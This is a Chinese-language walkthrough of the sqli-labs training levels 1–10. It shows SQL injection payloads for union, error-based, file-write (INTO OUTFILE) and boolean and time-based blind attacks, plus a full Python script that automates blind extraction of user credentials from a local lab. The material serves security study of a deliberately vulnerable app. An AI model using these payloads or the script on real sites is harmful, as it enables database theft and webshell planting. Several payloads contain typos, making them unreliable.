Sqli-labs注入练习

SQL Injection:是Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑,可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

sqli-labs是一个非常好的学习sql注入的一个游戏教程,对于了解sqlmap的原理很有帮助。

项目地址:https://github.com/Audi-1/sqli-labs

安装

首先安装phpstudy或者xampp

将下载的文件解压发在:phpstudy的WWW文件夹里 或者 xampp里面的htdocs文件夹里面

修改mysql文件的账号密码:

在sqli-labs-master\sql-connections里面有个db-creds.inc文件,打开并修改账号密码

进入页面进行安装

打开网页输入:localhost/sqli-labs-master

点击第一个:Setup/reset Database for labs 出现下面页面为正确

返回

完成

Less-1:基于错误的_get_单引号_字符型注入

Please input the ID as parameter with numeric value //“请输入ID为数值的参数”

所以我们在url后输入:?id=1,回车,得到下面的页面:

输一个id值,返回了name和password,接着测试是否能注入,url后加上?id=1’,发现报错了,直接报的数据库的错,对web浏览器用户透明,那么可以从报错中得到很多信息,比如这是个MySQL的数据库,还可以猜想到后台的sql语句,应该是

1

“SELECT * FROM table_name WHERE id=’$_get[‘id’]‘ LIMIT 0,1”

这种,说明他没有过滤单引号,并且id是char型的输入,之所以报错是因为用了单引号,导致后面的部分“’LIMT 0,1;”多余出来了

于是构造sql语句-1‘OR’1’=’1’–+屏蔽掉后面的,也可以用#屏蔽,但这里#没有被url编码,故需自己将他转成url编码%23
1’=’1’为万能密码之一

注入成功~接着来猜字段1’ order by 3,有3个字段存在
1’ order by 3:

再试试4个,没有第4个字段了,即没有第4列
1’ order by 4:

接着用union 语句爆字段,但始终只显示一条记录,看了下源码,发现他并没有将结果循环输出,而是只返回符合查询结果的第一条记录

于是利用联合查询的特点,使原查询左边为空,那么我们定义的查询结果便可以返回出来
-1’ union select 1,2,3%23
之所以改为id=-1而不是继续id=1,是因为id=1或者其他正整数的时候,会有规定的数据取出,查看了dalao的WP发现这是因为在index.php中并没有循环取出数据,因此只要把1改为0或者负数即可

于是我们可以通过这里使用数据库的函数来爆出数据库的信息,构造如下语句
-1’ union select 1,2,concat_ws(char(32,44,32),user(),database());%23

这里用到的数据库函数有cancat_ws(),char(),user(),database(),cancat_ws()是连接函数,第一个参数是分隔符,同样作用的函数还有cancat(),不同的是cancat()有不同的连接符,char()函数是将十进制参数转换成对应的acsii码,user()和database()都是内置的函数,分别返回用户名和数据库名,类似的函数还有version(),返回数据库的版本信息,但是没有直接返回表名的函数,所以需要通过其他方式获取表名

这里有一个很经典的方法,我们可以通过系统数据库information_schema来获取表名,information_schema数据库中含有很重要的三张表:SCHEMATA,TABLES和COLUMNS
SCHEMATA表中存储了MySQL中所有数据库的信息,包括数据库名,编码类型路径等,show databases的结果取之此表

TABLES表中存储了MySQL中所有数据库的表的信息(当然,索引是根据数据库名的),包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等,show tables from schemaname的结果取之此表

COLUMNS表中存储了MySQL中所有表的字段信息,show columns from schemaname.tablename的结果取之此表

于是,我们可以构造?id=-1’ union select 1,2,table_name from information_schema where table_schema=’security’%23

这样就爆出了第一张表名,但要获取所有表名还需要用到’limit’,limit是用来指定范围,他有两个参数(limit a,b)a是从第几行开始取,b是取多少行,但需要注意的是实际取出来的开始行下标比a大1,即limit 5,10是表示取6到15行数据,接下来我们就可以用它取指定范围的表了
-1’ union select 1,2,table_name from information_schema.tables where table_schema=’security’ limit 3,1–+

这里取的是第4张表,如果超出能取的范围,他会报错
-1’ union select 1,2,table_name from information_schema.tables where table_schema=’security’ limit 4,1–+

于是通过修改limit的范围我们获取到了所有的表名,且与数据库中的表名一致,其中users表用来存储用户信息的可能性最大,于是,我们可以用同样的方法爆他的字段名
-1’ union select 1,2,column_name from information_schema.colums where table_schema=’security’ and table_name=’users’ limit 0,1%23

获取到的字段名有三个id,username,password,于是我们就可以构造语句了
-1’ union select 1,2,concat_ws(char(32,44,32),id,username,password) from users limit 0,1 %23

同样的,改变limit的范围以获取所有用户信息
-1’ union select 1,2,concat_ws(char(32,44,32),id,username,password) from users limit 1,1 %23

还有一种方法是通过group分组代替limit将所有信息列出来,查找表名可以构造如下payload:
-1’ union select 1,2,gruop_concat(char(32),table_name,char(32)) from information_schema.tables where talbe_schema=’security’–+

查找字段也是同样
-1’ union select 1,2,gruop_concat(char(32),column_name,char(32)) from information_schema.columns where talbe_schema=’security’ and table_name=’users’–+

最后的payload可以合并不同的列,上下对应输出
-1’ union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users–+

Less-2:基于错误的_get_整型注入

开头跟les1一样
尝试单引号:?id=’

这里的报错与less-1不同了,从报错可以看出,此处的id是当做数值来处理的,因为sql语句对于数字型的数据可以不加单引号,而less-1是作为字符串来处理的,猜想后台sql语句应该是select * from table_name where id = $_get[‘id’] limit 0,1于是构造-1 or 1=1
?id=-1 or 1=1%23

可以注入,接着用和之前相同的方法先报数据库名,然后是表名,接着是字段,最后的payload如下
?id=-1 union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users–+

Less-3:基于报错的_get_单引号_变形_字符型注入

?id=’

查看源代码

1
2
3
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

看报错,所谓变形就是用)代替了空格,猜想后台sql是select * from table_name where id =(‘$_get[‘id’]’)limit 0,1于是构造-1’)or’1’=’1’–+
?id=-1’)or’1’=’1’–+

最后的payload:
?id=-1’) union select 1,username,concat_ws(char(32,44,32),id,database(),password) from users limit 1,1%23

Less-4:基于错误的_get_双引号_字符型注入

?id=-1’

尝试单引号正常无报错信息,因为在php中双引号可以包含单引号,输入单引号后台就变成了id=(“$_GET[‘id’]’”)

于是尝试双引号,查看报错信息,猜想后台sql语句为select * from table_name where id =(“$_get[‘id’]”)limit 0,1;构造如下sql注入:
?id=-1”)or 1=1–+

payload:
?id=-1”) union select 1,username,concat_ws(char(32,44,32),id,database(),password) from users limit 0,1%23

less-5:双注入_get_单引号_字符型注入

当输入?id=1时页面显示正常
?id=1

什么都没有,然后注意到提示是“双注入”,于是百度了一下,总结如下:

双注入查询

双查询注入顾名思义形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

1
2
3
4
rand()随机函数,返回0~1之间的某个值  
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组

双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式,于是payload构造如下:
?id=-1’ union select count(_),2,concat(‘_‘,(select database()),’_‘,floor(rand()_2)) as a from information_schema.tables group by a–+

获取到数据库名后再用同样的方法获取表名
?id=-1’ union select count(_),2,concat(‘_‘,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),’_‘,floor(rand()_2)) as a from information_schema.tables group by a–+

然后是用户信息,这里只能查询一行,所以不能用group_concat,可以修改limit的范围来遍历用户信息
?id=-1’ union select count(_),2,concat(‘_‘,(select concat_ws(char(32,44,32),id,username,password) from users limit 0,1),’_‘,floor(rand()_2)) as a from information_schema.tables group by a–+

Less-6:双注入_get_双引号_字符型注入

换汤不换药,按照Less-5的方法,只是把单引号改成了双引号,直接上payload:
?id=-1” union select count(_),2,concat(‘_‘,(select concat_ws(char(44),id,username,password) from users limit 1,1),’_‘,floor(rand()_2)) as a from information_schema.tables group by a–+

Less-7:导出文件_get_字符型注入

尝试之前的方法行不通了,他把报错做了处理统一返回“You have an error in your SQL syntax”,明显的,他也给出了提示use outfile,outfile的固定结构是:

1

select A into outfile B

这里的B通常是一个文件路径,A可以是文本内容(小马),也可以是数据库信息,于是这里就有两种思路:

第一种,将小马写入文件中,用菜刀拿下:

所以大概要使用文件导出。Mysql数据库需要在指定的目录下进行数据的导出,secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。
如果这个参数为空,这个变量没有效果;
如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;
如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。
show variables like ‘%secure%’;

?id=-1’)) union select 1,2,’‘ into outfile “/var/lib/mysql-files/DD.php”–+

但看了其他daloa的wp,都涉及到路径的转义
dalao都是在Win下操作的,所以需要,而Linux和Win不同,所有此处不太一样

第一种,构造select * from users into outfile “数据库导入导出数据的目录”

?id=-1’)) union select group_concat(username),’‘,group_concat(password) from users into outfile “/var/lib/mysql-files/DD.txt”–+

小扩展:
winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就…/var/www/htm,…/var/www/html/htdocs

phpstudy 就是…\PhpStudy20180211\PHPTutorial\WWW\

xammp 就是…\xampp\htdocs

导入导出数据还会涉及到哪些函数:

@@datadir:数据库存储路径

@@basedir:MySQL安装路径

dumpfile:导出文件,类似outfile,不同的是,dumpfile一次导出一行,会和limit结合使用

load_file():将文件导入mysql,用法 select load_file(“文件路径”);

Less-8:bool型_单引号_盲注

Less-8源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php  
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET\['id'\]))
{
$id=$_GET\['id'\];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\\n");
fclose($fp);

// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli\_fetch\_array($result, MYSQLI_BOTH);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print\_r(mysqli\_error($con1));
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

?id=1

尝试单引号却什么都没返回,看了下源码就是这样处理的,点题盲注,盲注主要分为bool型和时间性,通常涉及到这几个函数:

盲注常用函数&&固有公式:

1
2
3
4
5
6
7
8
9
10
11
length(str):返回字符串str的长度  
substr(str,pos,len):将str从pos位置开始截取len长度的字符返回,需要注意的是这里pos的是从1开始的
mid(str,pos,len):和substr()类似
ascii(str):返回字符串str最左边的acsii码(即首字母的acsii码)
ord():同上,返回acsii码
left(str,len):对字符串str左截取len长度
right(str,len):对字符串str右截取len长度
if(a,b,c):条件判断,如果a为true,返回b,否则返回c


盲注有个固定式:and ascii(substr(A,1,1))>B,或者and if(ascii(substr(A,1,1))>B,1,0),这里的A通常是一个select语句,B则是字符或数字的ascii码,他们的中心思想都是通过substr等截取函数以二分法的形式查询逐个匹配想要的信息,这个过程通常都很耗时,所以建议直接写个盲注脚本来跑

下面是盲注匹配的一个例子,我们来匹配数据库名,在之前的实验中已知数据库名是security,下面的sql语句是用来匹配数据库名的第一个字母
?id=1’ and ascii(substr((select database()),1,1))>114–+

字母s的ascii码是115,所以他大于114,结果为true,页面显示正常,依次类推即可

也可以用脚本来跑,dalao那拿来的

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
# -*-coding:utf-8-*-

"""
@version:
@author: giantbranch
@file: code_inject.py
@time: 2016/5/1
"""

import urllib2
import urllib


success_str = "You are in"
getTable = "users"

index = "0"
url = "http://localhost/sqli-labs/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"


asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"

selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"


# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload length:猜测的长度
def getLengthResult(payload, string, length):
finalUrl = url + urllib.quote(payload % (string, length))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False

# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload string:猜测的字符串 pos:猜测字符串的位置 ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
finalUrl = url + urllib.quote(payload % (string, pos, ascii))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False

# 注入
def inject():
# 猜数据库长度
lengthOfDBName = getLengthOfString(lengthPayload, database)
print "length of DBname: " + str(lengthOfDBName)
# 获取数据库名称
DBname = getName(asciiPayload, selectDB, lengthOfDBName)

print "current database:" + DBname

# 获取数据库中的表的个数
# print selectTableCountPayload
tableCount = getLengthOfString(selectTableCountPayload, DBname)
print "count of talbe:" + str(tableCount)

# 获取数据库中的表
for i in xrange(0,tableCount):
# 第几个表
num = str(i)
# 获取当前这个表的长度
selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
print "current table length:" + str(tableNameLength)
# 获取当前这个表的名字
selectTableName = selectTable%(DBname, i)
tableName = getName(asciiPayload, selectTableName ,tableNameLength)
print tableName


selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
# print selectColumnCountPayload
# 获取指定表的列的数量
columnCount = getLengthOfString(selectColumnCountPayload, getTable)
print "table:" + getTable + " --count of column:" + str(columnCount)

# 获取该表有多少行数据
dataCountPayload = "'and (select count(*) from %s)>=%d #"
dataCount = getLengthOfString(dataCountPayload, getTable)
print "table:" + getTable + " --count of data: " + str(dataCount)

data = []
# 获取指定表中的列
for i in xrange(0,columnCount):
# 获取该列名字长度
selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
# print selectColumnNameLengthPayload
columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
print "current column length:" + str(columnNameLength)
# 获取该列的名字
selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
selectColumnName = selectColumn%(getTable, i)
# print selectColumnName
columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
print columnName

tmpData = []
tmpData.append(columnName)
# 获取该表的数据
for j in xrange(0,dataCount):
columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
# print columnDataLengthPayload
columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
# print columnDataLength
selectData = "select " + columnName + " from users limit " + str(j) + ",1"
columnData = getName(asciiPayload, selectData, columnDataLength)
# print columnData
tmpData.append(columnData)

data.append(tmpData)

# print data
# 格式化输出数据
# 输出列名
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][0] + " "
print tmp
# 输出具体数据
for j in xrange(1,dataCount+1):
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][j] + " "
print tmp

# 获取字符串的长度
def getLengthOfString(payload, string):
# 猜长度
lengthLeft = 0
lengthRigth = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if getLengthResult(payload, string, guess) == True:
# 猜测值增加5
guess = guess + 5
else:
lengthRigth = guess
break
# print "lengthRigth: " + str(lengthRigth)
# 二分法查长度
mid = (lengthLeft + lengthRigth) / 2
while lengthLeft < lengthRigth - 1:
# 如果长度大于等于mid
if getLengthResult(payload, string, mid) == True:
# 更新长度的左边界为mid
lengthLeft = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
lengthRigth = mid
# 更新中值
mid = (lengthLeft + lengthRigth) / 2
# print lengthLeft, lengthRigth
# 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
# 所以长度区间:大于等于 lengthLeft,小于lengthRigth
# 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
# 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return lengthLeft

# 获取名称
def getName(payload, string, lengthOfString):
# 32是空格,是第一个可显示的字符,127是delete,最后一个字符
tmp = ''
for i in xrange(1,lengthOfString+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right - 1:
# 如果该字符串的第i个字符的ascii码大于等于mid
if getResult(payload, string, i, mid) == True:
# 则更新左边界
left = mid
mid = (left + right) / 2
else:
# 否则该字符串的第i个字符的ascii码小于mid
# 则更新右边界
right = mid
# 更新中值
mid = (left + right) / 2
tmp += chr(left)
# print tmp
return tmp


def main():
inject()
main()

Less-9基于时间的GET单引号盲注

Less-9源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php  
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\\n");
fclose($fp);

// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysqli_error($con1));
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

输入?id=1后仍与上题无异

时间型盲注和bool型盲注应用场景不同之处在报错的返回上,从less-8我们知道,输入合法时他会返回正常页面“You are in……”,而非法输入时他没有返回任何东西,于是,我们可以根据这个特点跑盲注,通过他不同的返回页面来判断我们匹配的字符是否正确,而在less-9中合法输入与非合法输入它都返回一个页面,就是“You are in…..”

这样,我们就不能根据他页面的返回内容来判断匹配结果了,因此我们需要用延时函数sleep()对两种输入进行区分,可以构造如下语句:
?id=1’ and if(ascii(substr(database(),1,1))>115,0,sleep(5))–+

这里的意思是,如果数据库名首字母的ascii码大于115,那么执行sleep(5),延时5秒,此时标签栏会变成缓冲,于是,我们就可以判断匹配的结果了,盲注脚本与less-8类似,只需要加入sleep函数即可

Less-10 基于时间的双引号盲注

把第九题的单引号改为双引号即可
?id=1” and if(ascii(substr(database(),1,1))>115,0,sleep(5))–+